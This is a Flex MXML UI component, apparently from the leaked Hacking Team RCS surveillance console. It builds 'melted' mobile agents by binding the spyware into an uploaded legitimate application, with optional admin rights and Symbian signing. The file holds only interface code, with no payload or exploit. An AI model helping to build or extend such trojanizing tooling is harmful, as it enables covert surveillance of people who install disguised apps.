hackedteam/rcs-console

View on GitHub
src/it/ht/rcs/console/operations/view/agents/build/mobile/MobMelted.mxml

Summary

Maintainability
Test Coverage
<?xml version="1.0" encoding="utf-8"?>
<s:Group xmlns:fx="http://ns.adobe.com/mxml/2009" 
         xmlns:s="library://ns.adobe.com/flex/spark" 
         xmlns:mx="library://ns.adobe.com/flex/mx" width="100%" height="100%" xmlns:build="it.ht.rcs.console.operations.view.agents.build.*">
  <fx:Script>
    <![CDATA[
      import it.ht.rcs.console.build.controller.BuildManager;
      import it.ht.rcs.console.build.model.SymbianConf;
      import it.ht.rcs.console.monitor.controller.LicenseManager;
      import it.ht.rcs.console.operations.view.agents.build.UploadPopup;
      import it.ht.rcs.console.operations.view.configuration.ConfigurationView;
      import it.ht.rcs.console.task.controller.DownloadManager;
      import it.ht.rcs.console.utils.AlertPopUp;
      
      import locale.R;
      
      import mx.core.UIComponent;
      import mx.managers.PopUpManager;
      import mx.rpc.events.FaultEvent;
      import mx.rpc.events.ResultEvent;
      
      private var fileReference:FileReference;
      
      private var keyReference:FileReference;
      private var certReference:FileReference;
      
      private var params:Object;
      
      [Bindable]
      public var configView:ConfigurationView;

      public function set platform(value:*):void
      {
        if (value == 'symbian') {
          currentState = value;
          if (BuildManager.instance.symbianConf == null)
            getSymbianConf()
        } else {
          currentState='all';
        }
        
        createBtn.platforms = [value];
                
      }
      
      public function getSymbianConf():void
      {
        BuildManager.instance.getSymbianConf(null, onSymbianConfResult, onSymbianConfFault)
      }
      
      private function onSymbianConfResult(e:ResultEvent):void
      {
        BuildManager.instance.symbianConf = e.result as SymbianConf;
      }
      
      private function onSymbianConfFault(e:FaultEvent):void
      {
        trace("symbian conf fault")
      }
      
      private function browse():void
      {
        if (parentDocument.platform == 'symbian')
          currentState = 'symbian'
        else
          currentState = 'all';
        
        fileReference = new FileReference();
        fileReference.addEventListener(Event.SELECT, fileSelection);
        fileReference.browse();
      }
      
      private function fileSelection(event:Event):void
      {
        if (currentState == 'symbian') {
          currentState = 'fileSelectedSymbian';
        } else {
          currentState = 'fileSelected';
        }
        
        fileName.text = event.target.name;
      }
      
      private var uploadPopup:UploadPopup;
      private function create():void
      {
        if (currentState == 'all' || currentState == 'symbian') {
          AlertPopUp.show(R.get('SELECT_FILE'));
          return;
        }
        
        fileReference.addEventListener(HTTPStatusEvent.HTTP_STATUS, onUploadError);
        fileReference.addEventListener(IOErrorEvent.IO_ERROR, onUploadError);
        fileReference.addEventListener(SecurityErrorEvent.SECURITY_ERROR, onUploadError);
        fileReference.addEventListener(DataEvent.UPLOAD_COMPLETE_DATA, onUploadComplete);
        
        uploadPopup = PopUpManager.createPopUp(this.parentDocument as DisplayObject, UploadPopup, true) as UploadPopup;
        uploadPopup.fileReference = fileReference;
        PopUpManager.centerPopUp(uploadPopup);
      }
      
      private function onUploadComplete(event:DataEvent):void
      {
        PopUpManager.removePopUp(uploadPopup);
        
        if (!params)
          params = {platform: parentDocument.platform, binary: {demo: createBtn.demo.selected}, sign: {}, 'package': {type: 'remote'} };
        
        if (currentState == 'fileSelectedSymbian')
          params['sign']['edition'] = edition.selectedItem;
        else
          params['binary']['admin'] = admin.selected;
        
        params['melt'] = {input: event.data, filename: fileName.text};
        params['factory'] = {_id: parentDocument.factory._id};
        
        var filename:String = parentDocument.factory.name + "_" + parentDocument.platform + '_melted.zip'
        
        DownloadManager.instance.createTask("build", filename, params, onSuccess, onFailure);
      }
      
      private function onSuccess(e:ResultEvent):void
      {
        PopUpManager.removePopUp(((parentDocument as UIComponent).parentDocument).hostComponent);
      }
      
      private function onFailure(e:FaultEvent):void
      {
        AlertPopUp.show(R.get('TASK_ALREADY_CREATED'));
      }
      
      private function onUploadError(event:Event):void
      {
        PopUpManager.removePopUp(uploadPopup);
        AlertPopUp.show(event.type);
      }
            
      private function uploadCert(event:Event):void
      {
        certReference.addEventListener(HTTPStatusEvent.HTTP_STATUS, onUploadError);
        certReference.addEventListener(IOErrorEvent.IO_ERROR, onUploadError);
        certReference.addEventListener(SecurityErrorEvent.SECURITY_ERROR, onUploadError);
        certReference.addEventListener(DataEvent.UPLOAD_COMPLETE_DATA, onCertUploadComplete);
        
        uploadPopup=PopUpManager.createPopUp(this.parentDocument as DisplayObject, UploadPopup, true) as UploadPopup;
        uploadPopup.fileReference=certReference;
        PopUpManager.centerPopUp(uploadPopup);
      }
      
      
      private function onCertUploadComplete(event:DataEvent):void
      {
        PopUpManager.removePopUp(uploadPopup);
        if(!params.sign)
          params.sign={};
        params.sign.cert=event.data;
      }
      
      private function onKeyUploadComplete(event:DataEvent):void
      {
        PopUpManager.removePopUp(uploadPopup);
        if(!params.sign)
          params.sign={};
        params.sign.key=event.data;
      }
      
      private function editSymbianConf():void
      {
        var symbianConf:SymbianConfigurationForm=PopUpManager.createPopUp((this.parentDocument as DisplayObject).parent, SymbianConfigurationForm, true) as SymbianConfigurationForm;
        PopUpManager.centerPopUp(symbianConf);
      }
      
      private function browseForCert():void
      {
        if(!params)
          params = {platform: 'symbian', binary: {demo: createBtn.demo.selected}, sign: {edition: 'symbian3'}};
        
        certReference=new FileReference();
        certReference.addEventListener(Event.SELECT, uploadCert);
        certReference.browse([new FileFilter("Cer", "*.cer")]);
      }
      
      private function browseForKey():void
      {
        if(!params)
          params = {platform: 'symbian', binary: {demo: createBtn.demo.selected}, sign: {edition: 'symbian3'}};
        
        keyReference=new FileReference();
        keyReference.addEventListener(Event.SELECT, onKeySelected);
        keyReference.browse([new FileFilter("Key", "*.key")]);
      }
      
      private function onKeySelected(e:Event):void
      {
        uploadKey()
      }
      
      private function uploadKey():void
      {
        keyReference.addEventListener(HTTPStatusEvent.HTTP_STATUS, onUploadError);
        keyReference.addEventListener(IOErrorEvent.IO_ERROR, onUploadError);
        keyReference.addEventListener(SecurityErrorEvent.SECURITY_ERROR, onUploadError);
        keyReference.addEventListener(DataEvent.UPLOAD_COMPLETE_DATA, onKeyUploadComplete);
        
        uploadPopup=PopUpManager.createPopUp(this.parentDocument as DisplayObject, UploadPopup, true) as UploadPopup;
        uploadPopup.fileReference=keyReference;
        PopUpManager.centerPopUp(uploadPopup);
      }
      
    ]]>
  </fx:Script>
  
  <s:states>
    <s:State name="all"/>
    <s:State name="fileSelected"/>
    <s:State name="fileSelectedSymbian"/>
    <s:State name='symbian'/>
  </s:states>
  
  <s:TextArea left="10" top="5" width="100%" height="65" borderVisible="false"
              contentBackgroundAlpha="0.0" editable="false" color="#ff0000"
              text="{R.get('BUILD_MELTED_WARNING')}" />
  
  <s:HGroup left="10" top="75" verticalAlign="middle">
    <s:Label text="{R.get('APPLICATION_DROPPER')}:" fontWeight="bold"/>
    <s:Button excludeFrom="fileSelected,fileSelectedSymbian" width="100" label="{R.get('BROWSE')}..." click="browse()"/>
    <s:Label id="fileName" includeIn="fileSelected,fileSelectedSymbian" buttonMode="true" click="browse()"
             maxDisplayedLines="1" width="140" toolTip="{R.get('CLICK_TO_CHANGE_FILE')}"/>    
  </s:HGroup>
  
  <s:VGroup excludeFrom="symbian,fileSelectedSymbian" left="10" top="190">
  <s:CheckBox left="10" id="admin" label="{R.get('REQUIRE_ADMIN')}" fontWeight="bold" selected="false"/>
  <s:TextArea left="25" width="280" height="55" borderVisible="false"
              contentBackgroundAlpha="0.0" editable="false"
              text="{R.get('REQUIRE_ADMIN_DESC')}"/>   
  </s:VGroup>
  
  <s:Form includeIn="symbian,fileSelectedSymbian"
          left="10"
          top="105"
          visible="{BuildManager.instance.symbianConf.uids.length==6}">
    <s:FormItem label="{R.get('SYMBIAN_CERT')}">
      <s:Button width="80"
                label="{R.get('BROWSE')}..."
                click="browseForCert()"/>
    </s:FormItem>
    <s:FormItem label="{R.get('SYMBIAN_KEY')}">
      <s:Button width="80"
                label="{R.get('BROWSE')}..."
                click="browseForKey()"/>
    </s:FormItem>
    <s:FormItem label="S60 Edition">
      <s:DropDownList id="edition"
                      selectedIndex="0"
                      width="95">
        <mx:ArrayCollection>
          <fx:String>Symbian3</fx:String>
          <fx:String>5th</fx:String>
          <fx:String>3rd</fx:String>
        </mx:ArrayCollection>
      </s:DropDownList>
    </s:FormItem>
    
  </s:Form>
  
  <!-- Symbian configuration is OK-->
  
  <s:HGroup includeIn="symbian,fileSelectedSymbian" 
            left="10"
            top="290"
            verticalAlign="middle" 
            visible="{BuildManager.instance.symbianConf.uids.length==6}"
            includeInLayout="{BuildManager.instance.symbianConf.uids.length==6}">
    <s:Spacer height="40"/>
    <s:HGroup verticalAlign="middle">
      <s:Label text="{R.get('SYMBIAN_CONF_OK')}."/>
      <s:Label text="{R.get('SYMBIAN_CHANGE')}" buttonMode="true" click="editSymbianConf()"/>
    </s:HGroup>
  </s:HGroup>
  
  <!-- You have no Symbian configuration yet, please provide the data: -->
  
  <s:HGroup includeIn="symbian,fileSelectedSymbian" 
            left="10"
            top="190"
            verticalAlign="middle"
            visible="{BuildManager.instance.symbianConf.uids.length!=6}"
            includeInLayout="{BuildManager.instance.symbianConf.uids.length!=6}">
    <s:Label text="{R.get('SYMBIAN_CONF_MISSED')}"
             color="0xFF0000"
             fontWeight="bold"/>
    <s:Button label="{R.get('CONFIGURATION_SET')}" click="editSymbianConf()"/>
  </s:HGroup>
  
  <build:CreateWithDemoButton id="createBtn" left="10" bottom="0" right="10" create="{create}" enabled="{currentState == 'fileSelected' || currentState == 'fileSelectedSymbian'}" configView="{configView}"/>
  
</s:Group>